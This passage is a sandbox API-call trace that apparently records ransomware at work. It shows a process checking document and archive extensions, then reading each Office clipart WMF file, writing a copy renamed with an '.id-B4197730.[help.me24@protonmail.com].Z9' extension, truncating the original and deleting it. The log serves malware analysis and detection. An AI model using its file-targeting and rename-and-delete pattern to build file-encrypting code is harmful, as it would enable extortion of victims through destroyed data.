	[0184.959] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.959] lstrlenW (lpString=".rar") returned 4
	[0184.959] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.959] lstrlenW (lpString=".bz2") returned 4
	[0184.959] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.959] lstrlenW (lpString=".7z") returned 3
	[0184.959] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0184.959] lstrlenW (lpString=".dbf") returned 4
	[0184.959] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0184.959] lstrlenW (lpString=".1cd") returned 4
	[0184.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0184.960] lstrlenW (lpString=".jpg") returned 4
	[0184.960] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.960] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0184.960] lstrlenW (lpString="J0152694.WMF") returned 12
	[0184.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0184.971] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=1348) returned 1
	[0184.971] CloseHandle (hObject=0x37c) returned 1
	[0184.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf")) returned 0x220
	[0184.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0184.975] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.975] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0184.977] GetLastError () returned 0x0
	[0184.977] ReadFile (in: hFile=0x37c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x544, lpOverlapped=0x0) returned 1
	[0184.982] WriteFile (in: hFile=0x548, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x550, lpOverlapped=0x0) returned 1
	[0184.983] ReadFile (in: hFile=0x37c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.984] WriteFile (in: hFile=0x548, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.984] SetEndOfFile (hFile=0x548) returned 1
	[0184.984] CloseHandle (hObject=0x548) returned 1
	[0184.984] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.984] SetEndOfFile (hFile=0x37c) returned 1
	[0184.988] CloseHandle (hObject=0x37c) returned 1
	[0184.988] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.989] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf")) returned 1
	[0184.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0184.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0184.990] lstrlenW (lpString=".doc") returned 4
	[0184.990] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.990] lstrlenW (lpString=".docx") returned 5
	[0184.990] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0184.990] lstrlenW (lpString=".pdf") returned 4
	[0184.990] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.990] lstrlenW (lpString=".xls") returned 4
	[0184.990] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.990] lstrlenW (lpString=".xlsx") returned 5
	[0184.990] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0184.990] lstrlenW (lpString=".ppt") returned 4
	[0184.990] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0184.990] lstrlenW (lpString=".zip") returned 4
	[0184.990] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.990] lstrlenW (lpString=".rar") returned 4
	[0184.990] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.990] lstrlenW (lpString=".bz2") returned 4
	[0184.990] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.990] lstrlenW (lpString=".7z") returned 3
	[0184.991] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0184.991] lstrlenW (lpString=".dbf") returned 4
	[0184.991] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0184.991] lstrlenW (lpString=".1cd") returned 4
	[0184.991] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0184.991] lstrlenW (lpString=".jpg") returned 4
	[0184.991] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0184.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0184.991] lstrlenW (lpString=".doc") returned 4
	[0184.991] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.991] lstrlenW (lpString=".docx") returned 5
	[0184.991] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0184.991] lstrlenW (lpString=".pdf") returned 4
	[0184.991] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.991] lstrlenW (lpString=".xls") returned 4
	[0184.991] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.991] lstrlenW (lpString=".xlsx") returned 5
	[0184.991] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0184.991] lstrlenW (lpString=".ppt") returned 4
	[0184.991] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0184.991] lstrlenW (lpString=".zip") returned 4
	[0184.991] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.991] lstrlenW (lpString=".rar") returned 4
	[0184.992] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.992] lstrlenW (lpString=".bz2") returned 4
	[0184.992] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.992] lstrlenW (lpString=".7z") returned 3
	[0184.992] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0184.992] lstrlenW (lpString=".dbf") returned 4
	[0184.992] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0184.992] lstrlenW (lpString=".1cd") returned 4
	[0184.992] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0184.992] lstrlenW (lpString=".jpg") returned 4
	[0184.992] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.992] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0184.992] lstrlenW (lpString="J0152696.WMF") returned 12
	[0184.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0184.993] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=7320) returned 1
	[0184.994] CloseHandle (hObject=0x37c) returned 1
	[0184.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf")) returned 0x220
	[0184.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0184.994] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.994] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0184.996] GetLastError () returned 0x0
	[0184.996] ReadFile (in: hFile=0x37c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x1c98, lpOverlapped=0x0) returned 1
	[0184.998] WriteFile (in: hFile=0x548, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x1ca0, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x1ca0, lpOverlapped=0x0) returned 1
	[0184.999] ReadFile (in: hFile=0x37c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.999] WriteFile (in: hFile=0x548, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.999] SetEndOfFile (hFile=0x548) returned 1
	[0184.999] CloseHandle (hObject=0x548) returned 1
	[0184.999] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.999] SetEndOfFile (hFile=0x37c) returned 1
	[0185.003] CloseHandle (hObject=0x37c) returned 1
	[0185.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0185.160] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf")) returned 1
	[0185.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0185.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0185.162] lstrlenW (lpString=".doc") returned 4
	[0185.162] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0185.162] lstrlenW (lpString=".docx") returned 5
	[0185.162] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0185.162] lstrlenW (lpString=".pdf") returned 4
	[0185.162] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0185.162] lstrlenW (lpString=".xls") returned 4
	[0185.162] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0185.162] lstrlenW (lpString=".xlsx") returned 5
	[0185.162] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0185.162] lstrlenW (lpString=".ppt") returned 4
	[0185.162] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0185.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0185.162] lstrlenW (lpString=".zip") returned 4
	[0185.162] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0185.162] lstrlenW (lpString=".rar") returned 4
	[0185.162] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0185.162] lstrlenW (lpString=".bz2") returned 4
	[0185.162] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0185.162] lstrlenW (lpString=".7z") returned 3
	[0185.162] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0185.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0185.163] lstrlenW (lpString=".dbf") returned 4
	[0185.163] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0185.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0185.163] lstrlenW (lpString=".1cd") returned 4
	[0185.163] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0185.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0185.163] lstrlenW (lpString=".jpg") returned 4
	[0185.163] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0185.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0185.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0185.163] lstrlenW (lpString=".doc") returned 4
	[0185.163] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0185.163] lstrlenW (lpString=".docx") returned 5
	[0185.163] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0185.163] lstrlenW (lpString=".pdf") returned 4
	[0185.163] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0185.163] lstrlenW (lpString=".xls") returned 4
	[0185.163] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0185.163] lstrlenW (lpString=".xlsx") returned 5
	[0185.163] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0185.163] lstrlenW (lpString=".ppt") returned 4
	[0185.163] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0185.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0185.163] lstrlenW (lpString=".zip") returned 4
	[0185.163] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0185.163] lstrlenW (lpString=".rar") returned 4
	[0185.163] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0185.164] lstrlenW (lpString=".bz2") returned 4
	[0185.164] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0185.164] lstrlenW (lpString=".7z") returned 3
	[0185.164] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0185.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0185.164] lstrlenW (lpString=".dbf") returned 4
	[0185.164] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0185.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0185.164] lstrlenW (lpString=".1cd") returned 4
	[0185.164] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0185.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0185.164] lstrlenW (lpString=".jpg") returned 4
	[0185.164] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0185.164] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0185.164] lstrlenW (lpString="J0152716.WMF") returned 12
	[0185.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0185.166] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=4580) returned 1
	[0185.166] CloseHandle (hObject=0x53c) returned 1
	[0185.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf")) returned 0x220
	[0185.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0185.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0185.167] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.167] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0185.169] GetLastError () returned 0x0
	[0185.169] ReadFile (in: hFile=0x53c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x11e4, lpOverlapped=0x0) returned 1
	[0185.171] WriteFile (in: hFile=0x548, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x11f0, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x11f0, lpOverlapped=0x0) returned 1
	[0185.172] ReadFile (in: hFile=0x53c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0185.172] WriteFile (in: hFile=0x548, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0185.172] SetEndOfFile (hFile=0x548) returned 1
	[0185.172] CloseHandle (hObject=0x548) returned 1
	[0185.173] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.173] SetEndOfFile (hFile=0x53c) returned 1
	[0185.176] CloseHandle (hObject=0x53c) returned 1
	[0185.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0185.177] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf")) returned 1
	[0185.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0185.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0185.178] lstrlenW (lpString=".doc") returned 4
	[0185.178] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0185.178] lstrlenW (lpString=".docx") returned 5
	[0185.178] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0185.178] lstrlenW (lpString=".pdf") returned 4
	[0185.178] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0185.178] lstrlenW (lpString=".xls") returned 4
	[0185.178] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0185.178] lstrlenW (lpString=".xlsx") returned 5
	[0185.178] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0185.178] lstrlenW (lpString=".ppt") returned 4
	[0185.178] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0185.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0185.178] lstrlenW (lpString=".zip") returned 4
	[0185.178] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0185.178] lstrlenW (lpString=".rar") returned 4
	[0185.178] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0185.178] lstrlenW (lpString=".bz2") returned 4
	[0185.179] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0185.179] lstrlenW (lpString=".7z") returned 3
	[0185.179] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0185.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0185.179] lstrlenW (lpString=".dbf") returned 4
	[0185.179] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0185.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0185.179] lstrlenW (lpString=".1cd") returned 4
	[0185.179] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0185.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0185.179] lstrlenW (lpString=".jpg") returned 4
	[0185.179] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0185.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0185.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0185.179] lstrlenW (lpString=".doc") returned 4
	[0185.179] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0185.179] lstrlenW (lpString=".docx") returned 5
	[0185.179] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0185.179] lstrlenW (lpString=".pdf") returned 4
	[0185.179] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0185.179] lstrlenW (lpString=".xls") returned 4
	[0185.179] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0185.179] lstrlenW (lpString=".xlsx") returned 5
	[0185.179] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0185.179] lstrlenW (lpString=".ppt") returned 4
	[0185.179] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0185.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
